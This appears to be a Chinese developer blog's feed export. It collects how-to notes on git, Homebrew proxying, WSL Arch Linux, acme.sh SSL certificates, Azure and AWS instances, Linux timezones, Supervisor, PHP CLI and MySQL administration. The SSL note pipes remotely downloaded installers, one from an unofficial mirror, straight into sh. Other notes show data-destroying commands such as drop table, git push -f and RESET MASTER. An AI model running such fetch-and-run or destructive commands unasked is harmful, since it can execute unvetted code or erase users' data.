协议,那么速度仍然会很慢。
如果你觉得上面的方式太麻烦了,或者是你没有代理,那么可以试试下面这种方式。
这种方式简单暴力,替换就可以直接使用,使用规则如下:
1 | # 原地址 |
只需要在github.com
后面追加一个.cnpmjs.org
就可以了。
以上就是git clone
太慢时的各种解决办法。
brew updata
之后,就一直是Updating Homebrew...
这个时候,我产生了几个疑问:
首先先回答一下上面那些问题,因为国内网络环境进一步恶劣,使得从根本上造成了这个问题的产生。因为Shadowshocks
的全局代理虽然对浏览器是有效,但对命令行无效。
所以这一切的问题可以总结成一个问题:如果能让终端命令走代理就好了。
好在Homebrew 是支持全局代理的,所以我们只需要在当前命令行环境中加入代理配置就好了。
1 | export ALL_PROXY=socks5://127.0.0.1:1080 |
如何知道终端命令有没有走代理?
有一个很简单的方法,那就是通过Curl 命令:
1 | curl https://www.google.com |
如果走了本地代理,那么很快终端就会有输出,如果没有走则会提示403 端口请求超时。
需要注意的是,上面的配置仅仅只是临时的,如果重启一下终端,这个配置就失效了,那么有没有办法可以永久生效呢?
当然是有的,只需要将环境变量写入终端中。
1 | # bash |
这样,Homebrew 就能通过 Shadowsocks
来更新了。
git pull
命令的一些细节。git pull 的作用是:取回远程主机某个分支的更新,再与本地指定分支自动合并。
将远程主机中的更改合并到当前分支,在默认情况下git pull
是git fetch
命令和git merge Fetch_HEAD
命令的合集,后面会详细介绍。
这是git pull 的完整格式:
1 | $ git pull [options] [<repository> [<refspec>…]] |
比如要取回origin
主机的fixbug
分支的最新提交,并与本地的master
分支合并,就需要写成这个样子:
1 | $ git pull origin fixbug:master |
如果远程分支要与当前分支合并,则冒号及其冒号后的分支可以省略,就变成了这个样子:
1 | // 取回firebug 分支的最新提交并与当前分支合并 |
上面的命令表示,取回origin/fixbug
分支最新的提交,并于当前分支合并。
这里就等同于先git fetch
获取所跟踪的远程分支的最新的提交,然后执行git merge
合并到当前分支。也就是下面两条命令。
1 | // 自动从当前分支的跟踪分支上获取最新的提交 |
为什么这个分支是这种写法?
因为git fetch
命令会获取当前追踪分支的最新更改,就等同于取回origin/fixbug
分支到本地。
你可以使用git branch -a
查看所有分支,会发现多了一个 origin/fixbug
分支,前提是该分支已经建立了追踪关系。
而这个分支所包含的内容就是最新的提交或者其他某些更改。所以此时你需要通过合并这个长的比较奇怪的分支,来更新本地的工作区。
在某些场合,Git 会自动在本地分支与远程分支之间建立一种追踪关系(tracking)。比如,我们在clone 时,会发现所有本地分支默认与远程主机的同名分支,建立追踪关系。也就是说,本地的 master 分支自动追踪 origin/master
分支。
Git 也允许手动添加追踪关系。
1 | // 本地master分支与取回origin/fixbug分支建立关系。 |
如果当前分支与远程分支存在追踪关系。那么git pull 就可以省略远程分支名。
1 | $ git pull origin |
上面的分支是什么意思呢?就是表示本地的当前分支会自动与对应的origin
主机的“追踪分支”进行合并。
如果当前分支只对应一种追踪分支,那么远程主机名都可以省略。
1 | // 这也就成了我们常看见的原始命令。 |
上面的命令会自动的与唯一的追踪分支进行合并。
如何将远程分支作为本地的默认分支?
1 | $ git branch --track <remote branch> remotes/origin/<remote branch> |
这样就将远程的分支与本地同名分支建立了追踪关系。
可以使用git config -e
命令查看。
当追踪关系只有一个时,那么使用git pull
命令,就可以直接更新<remote branch>
分支了。
如果合并需要采用rebase
模式,可以使用--rebase
选项。
这里说一个题外话,
rebase
是什么?有什么用?
git rebase
清除本地历史提交
1 | $ git --rebase <远程主机名><远程分支名>:<本地分支名> |
git fetch 与 git pull 的区别。
git fetch 表示从远程获取最新的版本到本地,但是不会自动合并。其过程用命令表示就是:
1 | $ git fetch origin master |
另一种写法就是:
1 | $ git fetch origin master:tem |
上面这两种写法都是都是一个意思。唯一有所区别的就是使用 tem
分支代替了origin/master
分支的存在。其含义是:
origin
主机的master
主分支下载最新的版本到本地origin/master
分支,或者tem
分支。git pull,相当于从远程获取最新的版本并合并到本地。
1 | $ git pull origin master |
上述命令其实相当于git fetch 和 git merge
在实际使用中,git fetch更安全一些,因为在merge前,我们可以查看更新情况,然后再决定是否合并。
在正式卸载之前,有以下几点需要注意:
lxrun
命令去进行卸载操作,但是秋季创意者更新之后该命令就被移除了。列出当前已经安装且随时可用的发行版:
1 | wslconfig /list |
列出所有发行版,包括正在安装、卸载和已损坏的发行版:
1 | wslconfig /list /all |
卸载已经安装的发行版:
1 | $ wslconfig /list /all |
上面是以Arch Linux
为例进行卸载,其他发行版同理,只需要替换发行版的名称就可以了。
注意: 卸载发行版时,会永久删除所有与该发行版有关的数据和设置。
第一件需要做的事情就是配置开发环境。
Windows Linux Server (WSL) 又名Windows 子系统,它使得开发人员可以直接在未经修改得Windows 上运行 Gun/Linux
环境,也包括大多数命令行工具,实用程序员和应用程序员,而不会需要额外增加虚拟机。
Gun/Linux
发行版:Arch Linux、Ubuntu、OpenSuSE、Kail Linux、Debian、Fedora等。GNU/Linux
命令行应用程序GNU/Linux
分发程序包管理器安装其他软件。GNU/Linux
应用程序。有了这些功能,我们就可以完成很多工作,而不必担心安装虚拟机监控程序,从而享受Linux的好处。安装并准备好Win 10后,请按照以下步骤进行操作,并在其中添加Arch Linux。
本文要安装的WSL 是 Arch Linux 。
为什么要选择 Arch Linux?
因为它是一个轻量级且灵活的Linux 发行版。
这是一项使Windows能够“ 托管 ” Linux 的功能。所以需要先启用此功能。
以管理员的身份打开Power Shell,然后输入以下命令:
1 | Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux |
通常会重启一次你的电脑。
我记得在2019 年,Windows 刚拥抱 Linux 时,Arch Linux 还可以直接从 Microsoft Store 直接下载,不知为何现在却搜不到了。
不过还是有其他办法手动安装,打开该页面,下载Arch.zip
。
解压完成之后,可以看到如下文件:
双击Arch.exe
应用程序,进行安装。
稍微等待一会,就可以看到Arch Linux 已经顺利安装完成了,然后按任意键退出。
再次双击Arch Linux
,不出意外的话,就可以看到Arch Linux
的控制台了,没错就是这么简单。
第一次安装完成之后,需要手动做一些配置,初始化并更新系统。
在终端或CMD
中输入WSL
进入Arch Linux
。
编辑 /etc/pacman.d/mirrorlist
,去掉China
节点 前面的##
,以及下面的Server
下面的##
。
1 | pacman-key --init |
1 | // 更新 GPG key |
Arch Linux 默认的样式并不好看,和CMD 都是黑漆漆的一片。
因为Arch Linux 默认使用的 Bash,如果你和我一样,更喜欢 Zsh 的话,那就请继续看下去。
既然要安装Zsh,那就不得不安装oh-my-zsh
了,所以这里一起安装了。
1 | pacman -S zsh oh-my-zsh-git |
Spaceship ZSH 是Zsh 的提示符工具。
克隆仓库
1 | git clone https://github.com/denysdovhan/spaceship-prompt.git "$ZSH_CUSTOM/themes/spaceship-prompt" |
链接文件
1 | ln -s "$ZSH_CUSTOM/themes/spaceship-prompt/spaceship.zsh" "$ZSH_CUSTOM/themes/spaceship.zsh-theme" |
更改默认theme
1 | # vim ~/.zshrc |
重启终端即可。
像这类提供免费 SSL 证书的网站非常多,这里我选择的平台是 FreeSSL.cn 。
在正式开始之前,你得准备一个邮箱,注册 一个 FreeSSL.cn
账号,然后登录。
将需要申请证书的域名填写在输入框中,选择多域名通配符,然后点击创建免费的SSL 证书。
我这里选择的是泛域名,根据你自己的实际情况,去创建相应子域名的证书:
example.com
:主域名*.example.com
:泛域名选择浏览器生成。
点击确认创建。
打开需要申请 SSL 证书的域名管理后台,找到 DNS 管理。
添加 TXT 验证,将刚才的记录值与TXT 记录添加到对应的TXT 类型。
注意⚠️:记录值区分大小写。
检测是否配置成功。
在完成验证之前不要离开当前页面,验证成功之后,点击验证。
如果配置成功没问题,就可以点击验证,下载证书就完成了。
注意⚠️:使用此方式获取的证书,有效期只有三个月。
因为 FreeSSL.cn 后面改版了,之前是直接生成对应的 *.key
和 *.pem
文件,现在则变成了 ACME 自动化申请。
前两步还是一样的,只是到了第三步,不一样。
现在需要选择一种部署方式,来获取证书:
Cerbot 的部署方式其他笔记已经提到了,因此这里介绍 acme.sh
的方式。
首先需要安装 acme.sh
,可以直接使用下面的命令进行安装:
1 | curl https://get.acme.sh | sh -s email=my@example.com |
如果上面官方下载地址失败 或者 太慢,可以选用国内的备用地址:
1 | curl https://gitcode.net/cert/cn-acme.sh/-/raw/master/install.sh?inline=false | sh -s email=my@example.com |
安装完成之后,当前目录下会多出一个 .acme.sh
文件,查看该文件夹:
1 | [root@localhost]$ ls -al |
其中 .acme.sh
就是一会需要用到的 shell 脚本。
获取证书:
1 | acme.sh --issue -d my@example.com --dns dns_dp --server https://acme.freessl.cn/v2/DV90/directory/z8s58p0gs74t0839d3mu |
将示例命令中的域名替换成自己的域名即可。
正常执行完成之后,当前文件夹下,会多出一个以域名为名的文件:
有了这两个文件之后,就可以轻松配置 ssl 了。
]]>一是方便自己以后回顾,二是给其他人作为参考。
因为本文是创建微软云,所以首先你得有一个微软账号。
打开 Microsoft Azure 进行登录,登录成功之后,进入云服务管理后台。
点击创建资源。
可以搜索你想创建的云服务类型,这里我选择的是 Ubuntu Server 18.04 LTS
。
点击创建。
放心,这里的创建并不是正真意义上的创建。接下来需要为机器预设配置。
下面对常见的配置进行简单说明:
资源组
:用来分配一些权限以及策略。虚拟机名称
:你希望用什么名称来称呼这台机器(通常是英文)区域
:选择机器所在地区映像
:选择操作系统大小
:选择一个合适的负责类型,可以理解成机器的硬件配置。身份验证类型
:通常有两种:ssh 密钥和密码,强烈建议使用密钥而不使用密码(密哦存在被暴力破解的风险)。用户名
:微软云默认没有给root
用户,这里需要指定用户名称。公共入站端口
:通常是只开启HTTP (80)
、HTTPS (443)
、SSH (22)
。完成基本配置之后,点击下一步:磁盘
。
Azure 默认只有一个用于短期存储的临时盘,而临时盘通常都很小。
默认的磁盘很小,如果想扩大有两种方式:
配置完磁盘之后,点击下一步:网络
。
网络配置,公用ip 可以选择无,后面再去新建。
然后点击下一步:管理
。
管理、高级、标记这一块,如果没有特殊需求可以直接使用默认配置。
最后点击查看+创建
,可以看到预设的配置信息,如果符合预期,点击创建。
下载私钥并保存好。
此时,虽然已经创建好虚拟机,但是还不能直接使用,因为没有配置IP。
Azure 和 AWS 不同,它并没有弹性IP 的概念,如果需要配置IP,需要在搜索栏中搜索公共IP地址
,
点击第一个搜索结果。
点击添加。
配置IP 基本信息,然后点击创建。
此时,只是创建了内网IP,并没有与外网IP 地址进行关联,
点击刚才新建的公共 IP 地址,点击配置。
资源类型选择网络接口,网络接口与对应的实例进行关联。
关联成功之后,就可以进行连接了。
1 | chmod 400 <私钥> |
1 | ssh -i <私钥路径> user@ip_address |
user
:表示VM 用户ip_address
:表示外网IP 地址上面简单提到过,如果想要扩大默认磁盘的大小,有两种方式:
第二种方式并不能直接更改,需要先将服务器停掉(注意⚠️:不是删除)。
搜索磁盘,点击第一个搜索结果。
点击需要扩大的磁盘实例,注意:只能扩大,不能缩小。
然后点击保存即可。
至此,就已经完成了Azure 的创建了,这方面需要学习的还有很多,这里只是简单的整理了一下自己遇到的问题。
有些地方可能没说清楚,但如果能帮到你那真是太好了
]]>身为一个做开发者,这种做法比较low,所以找了几篇文章学习到了如何在局域网内共享文件。
这里准备的是用 Windows 作为主机创建共享文件。
首先要确认准备传输文件的 Windows 和 Mac 是在同一个路由器组成的局域网内。
然后打开 Windows 的文件资源管理器,在其根目录下创建一个共享文件夹,名称随意,自己知道就好了。
右键文件夹,点击属性,找到 共享 Tab,点击高级共享。
勾选共享此文件夹,点击确定。
然后回到共享文件夹,右键点击属性,找到共享,选择用户。
如果允许其他人写入,则选择 Everyone,更改为:读取/写入。
1 | # ComputerName 表示:你的计算机名称 |
Mac 有两种方式:
⌘ + k
1 | # ComputerName 表示:需要访问的计算机名称 |
通过验证之后,就能访问到共享文件夹了。
到这里应该就能顺利的在两个或多个电脑之间传输文件了。
如果还不能访问,可以ping 一下对方的主机,如果没有ping通,检查一下防火墙设置。
如果防火墙关着,那么会 ping 不通。
Git
,但是有些命令太久不使用,还是会忘记,所以这篇笔记的目的就是整理那些Git
常用命令。Git的设置文件为.gitconfig
,它可以在用户主目录下(全局配置),也可以在项目目录下(项目配置)。
1 | # 查看全局配置列表 |
1 | # 添加别名 git st = git status |
如果想知道关于Git
配置代理的更多信息,可以查阅这篇笔记。
1 | # 配置HTTP/HTTPS 代理 |
关于如何配置ssh config
可以查阅这篇笔记。
1 | # 将ssh key生成在默认下,也就是`~/.ssh/id_rsa`。 |
1 | # 在当前目录新建一个Git代码库 |
基础操作中的命令都是日常使用频率非常高的。
1 | # 查看工作区状态 |
1 | # 暂存所有 |
1 | # 查看所有文件改动 |
1 | # 恢复暂存区的指定文件到工作区 |
1 | # 提交暂存区到本地仓库 |
1 | # 查看完整历史提交记录 |
1 | # 查看本地分支 |
1 | # 查看远程仓库(默认是origin,这是git 会使用的默认名称) |
1 | # 默认推送当前分支 |
1 | # 取回默认远程仓库的变化,并自动与本地分支合并 |
进阶操作中的命令是一些很实用,但可能不常使用,所以把它们单独拎出来。
1 | # 选择一个commit,合并进当前分支 |
1 | # 将当前的工作区隐藏 |
git blame
用于查看某个文件的修改历史记录是哪个作者进行了改动。
1 | # 查看 README.md 文件的修改历史记录,包括时间、作者以及内容 |
1 | # 列出本地所有标签 |
Git ProTips
则是整理的一些Git 的奇技淫巧。
1 | # 通过使用别名,优化 git log 输出,这里另外提供几种模式, 可以选择喜欢的一种进行别名配置 |
什么是AWS ?
Amazon Web Services (AWS) 是亚马逊提供的全球最全面、应用最广泛的云平台。
云这个概念最开始是从国内的阿里云、腾讯云这些地方听到的,后来服务器接触的多了,也慢慢了解了一些国外的云,如:亚马逊云、微软云。
在亚马逊云、软微云上创建一台实例其实是非常简单的事情,但由于这方面资料比较少,导致对于新用户可能不那么友好,我自己当初创建时就不怎么顺利。所以整理这篇笔记的目的有两个,一是方便自己日后回顾,二是给第一次使用的用户一些参考。
首先登入到AWS ,找到EC2 并点击
在左侧菜单栏中点击实例
点击启动实例
选择系统映像,这里以Linux 操作系统为例,我选择是Ubuntu Server 18.04 LTS
,这个版本表示Ubuntu 服务端 长期稳定支持版本。
选择实例类型,根据自身需要考虑,当然 性能越好价格越高。这里我选择的是一个中等偏下的类型。
配置实例详情信息,这里的这些核心配置,通常都保持默认,只是将自动分配公有IP 地址改为禁用。这样再重启机器时,就不会改变IP了。
根据自身需要分配合适的硬盘大小。
配置安全组,所谓安全组就是拥有相同防火墙规则的群组。这个也是根据自身需要选择是否共用同一个安全组。
拥有同一个安全组就表示拥有相同的防火墙规则。设置完安全组之后,点击审核和启动。
下面会有一个界面给你确认机器的配置是否无误的,从头到尾检查没有问题之后就可以点击启动实例了。
可以选择共用已有的密钥对也可以选择新建一个。
然后点击启动实例。
启动完成之后点击查看实例。
在实例列表中,找到该实例之后,分别点击操作=>联网=>管理IP 地址=>分配弹性 IP
确认分配
分配成功之后,会得到一个弹性IP(公有),然后返回实例列表
找到刚才启动的那个实例(没有实例ID),分别点击操作=>关联地址
这一步很重要,这里要将实例和弹性IP 地址关联,所以要选择该弹性IP 对应自己的实例。如果不确定是哪一个,可以返回到实例列表中去查看,就是那个没有名称的实例。
然后点击关联
关联成功
直到做完这一步才算正真的启动好一个实例。
启动好实例之后,如何连接呢?
1 | $ ssh -i <私钥路径> ubuntu@ipaddress |
指定刚才生成的密钥对,使用ssh命令 即可连接。
]]>在Linux 服务器或系统上保持正确的时间始终是一个好习惯,它可能具有以下优点:
在Linux 中设置时区,有几种方式。
tzselete
命令选择所在时区。TZ='Asia/Shanghai'; export TZ
添加到~/.profile
文件。source ~/.profire
命令,使时区设置生效。Ubuntu 系统提供了timedatectl
命令,非常方便的供我们查看设置Linux 系统时区。
1 | $ timedatectl set-timezone "Asia/ShangHai" |
如果你忘记了你想要的时区叫什么名字,那么可以使用下面的命令查看所有可用时区:
1 | $ timedatectl list-timezones |
因为 Linux 的时间分为两种:
1 | $ cd /etc/ && ls -al | grep localtime |
可以看到默认链接的是UTC
,所以需要手动更改链接时区文件。
1 | $ ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime |
查看硬件时间
1 | $ hwclock -r |
将系统时间改为硬件时间
1 | $ hwclock --hctosys |
需要想清楚的是,时间戳本身是永远不变的,无论在哪个时区同一时刻所生成的时间戳一定是一样的。
会发生变化的只有时区,而时间戳则是根据时区的不同而解析出来的时间不同。
删除表内数据,使用delete
关键字。
删除用户表内id 为1 的用户:
1 | delete from User where id = 1; |
删除表中的全部数据,表结构不变。
对于 MyISAM 会立刻释放磁盘空间,InnoDB 不会释放磁盘空间。
1 | delete from User; |
释放磁盘空间
1 | optimize table User; |
删除数据表分为两种方式:
使用drop
关键词会删除整张表,啥都没有了。
1 | drop table User; |
truncate
关键字则只删除表内数据,会保留表结构。
1 | truncate table User; |
思考题:如何批量删除前缀相同的表?
想要实现 drop table like 'wp_%'
,没有直接可用的命令,不过可以通过Mysql 的语法来拼接。
1 | -- 删除”wp_”开头的表: |
其中database_name
换成数据库的名称,wp_
换成需要批量删除的表前缀。
注意只有
drop
命令才能这样用:
1 | drop table if exists tablename`; |
truncate
只能这样使用:
1 | truncate table `tp_trade`.`setids`; |
当你不再需要该表时, 用drop
;
当你仍要保留该表,但要删除所有记录时, 用truncate
;
当你要删除部分记录时, 用delete
。
这个时候想要避免这种情况的发生,唯一可以做的就是将那些错误代码直接覆盖掉。
git push -f
这个命令的作用是将自己本地仓库的代码直接推送至仓库,完全以你的提交为准,之前其他人的提交都会被覆盖。
那么这么可怕的命令,究竟在什么情况下才适用呢?
有两种情况下适合使用这个命令:
rebase
命令来清理历史提交记录。因为改变了历史,所以正常来说是 push
不成功的,所以需要使用 force push
来解决这个问题。因为可能会出现不小心使用的情况,Github
、Gitlab
这类源码托管网站会提供分支保护机制。可以避免某个分支被 force push
,默认是 master
为保护分支。
这里以Gitlab
为例,设置->仓库->Protected Branches
:
所以如果想强制提交,前提需要取消对该分支的保护。
万一自己的代码被覆盖掉了,还救得回来吗?
其实也是有办法的,那就是换你或是其它有之前提交的同事,再次进行 git push -f
,将正确的内容强制提交上去,覆盖上一次git push -f
所造成的灾难。
1 | // 将输出复制至剪贴板 |
Linux 用户需要先安装 xclip
,它建立了终端和剪切板之间的通道。
1 | // 查看剪切板中的内容 |
或者直接使用xsel
命令:
1 | // 将输出复制至剪贴板 |
需要注意的是:xsel、xclip 命令是在 X 环境下使用的,所以远程连接服务器时使用会报异常:
1 | xclip error can't open display (null) |
1 | // 将输出复制至剪贴板 |
特别是在生产环境中,系统时区是特别重要的存在,很多应用在默认情况下,都是取的系统时区,如果时区处理不得当的话,可能会造成不必要的困扰。
关于时区,有以下几个标准:
Linux 的时间分为两种:
date命令是显示或设置系统时间与日期。
这个是最简单、最直观获取系统时间与日期的方式了。
1 | $ date |
显示所在时区:
1 | date +"%Z %z" |
注意
+
和"
之间没有空格,否则会报表。
date 命令常见参数:
1 | %H 小时,24小时制(00~23) |
timedatectl 命令非常的方便,当你不带任何参数运行它时,这条命令可以像下图一样,输出系统时间概览,其中包含当前时区:
1 | $ timedatectl |
只查看时区:
1 | $ timedatectl | grep "Time zone" |
使用 cat 命令显示文件 /etc/timezone
的内容,来查看时区:
1 | $ cat /etc/timezone |
选择时区
1 | $ tzselect |
选择完成之后,将时区相关的配置,写入.profit
配置文件中。
然后使用 souce 命令,强制生效。
1 | souce .profit |
Expression #5 of SELECT list is not in GROUP BY clause and contains nonaggregated column ‘cis.q1.query_date’ which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
通过错误信息可以看到,是因为 sql_mode
引起的。
查看Mysql 当前所使用的 sql_mode
:
1 | select @@sql_mode |
对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中。简而言之,就是SELECT后面接的列必须被GROUP BY后面接的列所包含。如:
1 | ❎ |
这个配置会使得GROUP BY语句环境变得十分狭窄,所以一般都不加这个配置
该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。(不信的可以试试,默认的sql_mode你在自增主键列设置为0,该字段会自动变为最新的自增值,效果和null一样),如果用户希望插入的值为0(不改变),该列又是自增长的,那么这个选项就有用了。
在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制。(InnoDB默认事务表,MyISAM默认非事务表;MySQL事务表支持将批处理当做一个完整的任务统一提交或回滚,即对包含在事务中的多条语句要么全执行,要么全部不执行。非事务表则不支持此种操作,批处理中的语句如果遇到错误,在错误前的语句执行成功,之后的则不执行;MySQL事务表有表锁与行锁非事务表则只有表锁)
在严格模式下,不允许日期和月份为零
设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告。
在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如 果未给出该模式,那么数据被零除时MySQL返回NULL
禁止GRANT创建密码为空的用户
如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常
将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符
有三种方式可以解决该问题。
关闭 Mysql 的 ONLY_FULL_GROUP_BY 模式 又有两种方式。
方式一:通过以下命令关闭:
1 | SET SESSION sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY,','')); |
方式二:编辑my.cnf
配置文件,可以通过以下命令查看配置文件所在目录:
1 | mysql --help | grep cnf |
将 ONLY_FULL_GROUP_BY
关键字去掉:
1 | [mysqld] |
然后重启Mysql 服务即可。
如果你不想更新配置文件,Mysql 还提供一种临时的解决方案——ANY_VALUE()。
使用 ANY_VALUE()
包裹的值不会被检查,跳过该错误。
1 | ✅ |
Supervisor
只适用于类Unix 系统,不适用于Window。
因为Supervisor
是用 Python
所写的,所以可以直接使用pip
安装:
1 | sudo pip install supervisor |
Ubuntu:
1 | apt-get install supervisor |
Mac:
1 | brew install supervisor |
Supervisor
运行时会启动一个进程——supervisord
。
supervisord
:它负责启动所管理的进程,并将所管理的进程作为自己的子进程来启动,而且可以在所管理的进程出现崩溃时自动重启。supervisorctl
:是命令行管理工具,可以用来执行 stop、start、restart 等命令,来对这些子进程进行管理。查看默认配置项
1 | $ echo_supervisord_conf |
将默认配置项重定向至配置文件:
1 | $ echo_supervisord_conf > /etc/supervisord.conf |
然后可以看到 /etc/
配置文件下出现了以下文件,其中/etc/supervisor
是我们需要的配置文件。
1 | $ find /etc/ -name supervisor |
/etc/supervisord.conf
核心配置文件,参考以下部分配置,;
表示注释。
因为Supervisor
默认配置会把socket文件和pid守护进程生成在/tmp/目录下,/tmp/目录是缓存目录,所以我们需要手动换成/var/run
目录。
1 | [unix_http_server] |
/etc/supervisor/conf.d
则是用来配置管理进程的配置文件,所有需要被supervisor
管理的进程都需要在这里先配置。
1 | [program:demo] |
1 | $ supervisord -c /etc/supervisord.conf |
停止进程,program_name 为 [program:x] 里的 x
1 | supervisorctl stop program_name |
启动进程
1 | supervisorctl start program_name |
重启进程
1 | supervisorctl restart program_name |
结束所有属于名为 groupworker 这个分组的进程 (start,restart 同理)
1 | supervisorctl stop groupworker: |
结束 groupworker:name1 这个进程 (start,restart 同理)
1 | supervisorctl stop groupworker:name1 |
停止全部进程,注:start、restart、stop 都不会载入最新的配置文件
1 | supervisorctl stop all |
载入最新的配置文件,停止原有进程并按新的配置启动、管理所有进程
1 | supervisorctl reload |
根据最新的配置文件,启动新配置或有改动的进程,配置没有改动的进程不会受影响而重启
1 | supervisorctl update |
1 | $ find / -name supervisor.sock |
所以与其他脚本语言一样,可以直接在终端中不需要网页浏览器来运行PHP 代码。
在安装完PHP 以及Nginx 之后,接下来我们通常需要做的是,在/usr/local/var/www
(Mac 上的Nginx 工作目录)上创建一个内容为<?php phpinfo(); ?>
,名为index.php的文件来测试PHP 是否安装正确。
执行以下命令即可:
1 | # echo '<?php phpinfo(); ?>' > /usr/local/var/www/index.php |
然后,使用浏览器访问http://127.0.0.1/index.php
,不出意外可以看到:
如何在终端中直接查看该信息?
1 | # php -f /usr/local/var/www/index.php | less |
如果你觉得上面这种方式太麻烦了,那么还有一种更简便的方式可以达到同样的效果。
1 | # php -r 'php phpinfo();' | less |
有时候我们会遇到这样一种情况,想测试一小段代码,看看其运行结果,但是又不想重新创建一个文件,太麻烦了。
如果这个时候有一个地方可以直接运行这段代码且输出结果,那该多好啊。
PHP 为我们提供了两种交互模式,前者是自动的,后者是手动的。
两种模式都是使用 php -a
命令进入。
使用这个交互式shell,你可以直接在命令行窗口里输入PHP并直接获得输出结果。
1 | $ php -a |
回车即可查看输出内容。
1 | $ php -a |
如果出现的是这个模式,说明你的PHP并不支持交互式shell,
不过不用担心,这个模式同样也可以执行PHP 代码,只是代码的执行方式有些区别。
输入了所有PHP代码后,输入Ctrl-Z
(windows里),或输入Ctrl-D
(linux里),你输入的所有代码将会一次执行完成并输出结果。
输入exit
或者⌃ + c
退出交互模式。
在终端中可以把PHP 脚本作为Shell 脚本来运行。
首先你需要创建一个PHP 脚本文件:
1 | # echo -e '#!/usr/bin/php\n<?php phpinfo();?>' > phpscript.php |
-e
表示激活转义字符。
注意,这个脚本文件中的第一行#!/usr/bin/php
,就像是Shell 脚本中的#!/bin/bash
。目的是告诉Linux 命令行使用PHP 解析器来解析该文件。
运行该脚本:
1 | # chmod +x phpscript.php // 使脚本具有执行权限 |
PHP 有内置一个WebServer,可以很方便快速的搭建一个PHP 服务。
1 | $ php -t /project to path -S localhost:port |
然后通过浏览器访问localhost:port
就可以了。
php -a
:进入交互模式php -f
:解析和执行文件php -h
:获取帮助php -i
:查看PHP 信息和配置php -m
:显示已经安装的模块php -r
:运行PHP代码不使用脚本标签’..?>‘php -v
:查看PHP 版本php -ini
:查看加载配置文件(php.ini、conf.d)php -i | grep configure
:查看静态编译模块php --ri swoole
:查看指定模块的配置locate php.ini
:查询本地配置文件time php script.php
:查看程序的执行时间问题描述:
在本地项目中,部分SQL 语句执行起来,总是会报一个错。
而同样的SQL,在线上的服务器中执行起来没有任何问题。
错误提示内容:
1 | Expression #2 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'foodorder.orderlist.cname' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by QMYSQL: Unable to execute query |
我的第一反应就是检查Mysql 的版本,很巧的是本地Mysql
的版本确实比服务器的版本低一些。很快我就想到一定是版本存在差异性,导致语法不兼容。
既然是版本不一的问题,那就升级本地的Mysql 好了。
因为我的Mysql 是之前通过Homebrew 安装的,所以如需要升级,根本不用我自己手动去寻找安装包,直接通过Homebrew 的Upgrade 命令自动升级就好了。
起初我还担心自动升级会不会把我的Mysql 的版本更新的5.7
以上,后来证明是我想多了。
不过在正式更新之前需要做好以下几件事情:
做好以上三件事之后,就可以开始升级了。
1 | $ brew search mysql |
终于安装好之后,再次开启Mysql 的服务,我发现还是没有解决我的问题,还是会提示相同的错误。
这时候我才意识到这个问题和Mysql 的版本没有关系,有关系应该是相关的模块。
通过查阅一番资料,才发现是因为 group by
中的列一定要出现在 select
中,除非强制 sqlmode
中使用 ONLY_FULL_GROUP_BY
。
1 | $ vim /usr/local/etc/my.cnf |
重启Mysql 服务器,即可。
应该算是知识盲区了,花了一些时间去学习如何写好一个存储过程,最终也顺利写出来了,记录一下。
以下两点是其中比较重要的部分:
MySQL存储过程常见的变量:局部变量、用户变量、系统变量。
在过程体中,可以声明局部变量,用来临时保存一些值。
1 | DECLARE var_name[, var_name] ... type [DEFAULT value]; |
其中,type为MySQL的数据类型,如:int、float、date、varchar(length) 。
使用局部变量时,需要注意以下两点:
用户变量与数据库连接有关:在当前连接中声明的变量,在连接断开的时候,就会消失;在此连接中声明的变量无法在另一连接中使用。
用户变量使用@
关键字去定义。
其实这个理解成一套模版,只要按照标准去执行这套模版,就可以了。
1 | -- 连接数据库 |
大致上就是这样,至此,一个完整的Mysql 存储过程就完成了。
如何在终端执行Mysql 文件?
SQL 脚本准备好了,有两种方式可以执行它。
这两种方式的共同点就是都需要已知Mysql 密码。
对于方式一,可以使用以下命令来执行:
1 | mysql -u root -p < ./modify_user_table.sql |
可以指定数据库:
1 | mysql -u root -p databaseName < ./modify_user_table.sql |
对于方式二,可以使用以下命令来执行:
1 | // 进入Mysql 终端 |
这篇笔记就来学习一下如何在Mysql 上获取设置默认时区。
1 | mysql> show variables like "%time_zone%"; |
1 | mysql> SET time_zone = "+8.00"; |
此修改只会对当前会话有效。
1 | mysql> SET global time_zone = "+8.00"; |
需要重启该会话,该配置才生效。
1 | # 打开Mysql 的配置文件 my.ini |
需要重启Mysql 服务
GMT(Greenwich Mean Time):格林威治标准时间
UTC:世界标准时间
CST(China Standard Time):中国标准时间
GMT + 8 = UTC + 8 = CST
Mysql 的日志主要分为四类,使用这些日志文件,可以查看Mysql 内部发生的事情,这四类日志分别是:
二进制日志主要记录 Mysql 数据库的变化。二进制日志以一种有效的格式,并且是事务安全的方式包含更新日志中可用的所有信息。
默认情况下,二进制日志是关闭的,可以通过修改mysql 的配置文件来启动和设置二进制日志。
配置文件 my.ini 中有几个设置是关于二进制日志的:
1 | # 如果需要启用,就在 mysqld 组下,加上 log-bin 选项 |
log-bin
定义开启二进制日志,path 表示日志文件所在的目录路径,filename 指定了日志文件的名称。expire_logs_days
定义了Mysql 清除过期日志的时间,即二进制日至的自动删除的天数。max_binlog_size
定义了单个文件的大小限制,不能将变量设置为大于1GB或者小于4096B。默认值为1GB.如何检查自己的二进制日志是否开启了呢?
输入以下命令:
1 | mysql> show variables like 'log_%'; |
查看二进制文件个数及文件名,前提是开启了二进制日志:
1 | mysql> show binary logs; |
Mysql 也为我们提供了删除二进制日志的方法,有两种,作用不相同。
删除所有二进制日志文件:
1 | mysql> RESET MASTER; |
删除指定二进制日志文件:
